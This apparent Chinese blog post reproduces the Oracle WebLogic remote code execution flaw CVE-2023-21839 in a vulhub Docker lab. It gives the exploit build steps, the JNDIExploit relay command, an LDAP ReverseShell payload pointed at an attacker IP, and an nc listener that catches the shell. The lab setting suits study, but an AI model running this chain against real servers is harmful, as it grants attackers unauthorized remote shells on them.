Cloud
Weblogic远程代码执行漏洞（CVE-2023-21839)复现
漏洞概述
Oracle WebLogic Server是美国甲骨文（Oracle）公司的一款适用于云环境和传统环境的应用服务中间件，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0 和 14.1.1.0.0存在安全漏洞，攻击者可利用该漏洞导致对关键数据的未授权访问或对所有 Oracle WebLogic Server 可访问数据的完全访问。
影响范围:
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
漏洞复现
1.环境搭建
1.1安装vulhub
从github上克隆：https://github.***/vulhub/vulhub.git
安装完成查看vulhub目录（有大量的环境漏洞环境）
1.2.拉取环境
☁进入对应的漏洞环境目录
cd /vulhub/weblogic
☁启动容器，拉取环境
docker-***pose up -d # 首次拉取会自动下载对应配置，出现done字样即为完成
docker ps #查看开启情况
☁访问管理地址:
http://xx.xx.xx.xx:7001/console
ps：有些同学可能不知道账号密码(查看账密的方法:)
docker-***pose logs | grep password
2.攻击环境搭建
Poc地址
https://github.***/4ra1n/CVE-2023-21839
cd cmd go build -o CVE-2023-21839
ps:若没安装go，则需要apt-get安装一下（kali可能需要先更新源）
攻击命令：
（-ip和-port为靶机的IP和端口，-ldap里的IP都为攻击IP，前面的端口号是中转工具的默认端口，后面为导出的端口号）
./CVE-2023-21839 -ip 192.168.xxx.xx1 -port 7001 -ldap ldap://192.168.xxx.xx2:1389/Basic/ReverseShell/192.168.xxx.xx2/7892
中转工具
JNDIExploit v1.4地址：
https://github.***/WhiteHSBG/JNDIExploit/releases/tag/v1.4
ps:
rz #从客户端上传文件到kali unzip #解压压缩包
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.xxx.xx2
（-i为攻击机IP）
3.复现过程
1、开启中转工具监听
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.xxx.xx2
2、开启nc监听
nc -lvnp 7892
3、发动攻击
./CVE-2023-21839 -ip 192.168.xxx.xx1 -port 7001 -ldap ldap://192.168.xxx.xx2:1389/Basic/ReverseShell/192.168.xxx.xx2/7892
3.1在发动攻击时，./CVE-2023-21839这里会很快结束连接，然后在nc上会显示已成功获取shell
至此，复现结束~
总结
复现过程中，会出现各种各样报错，小伙伴多找网上文章解决，本文仅作参考。
PS：文章对小伙伴有帮助的话，点赞支持下吧~欢迎各位师傅批评指正
https://cloudmysrc.github.io/
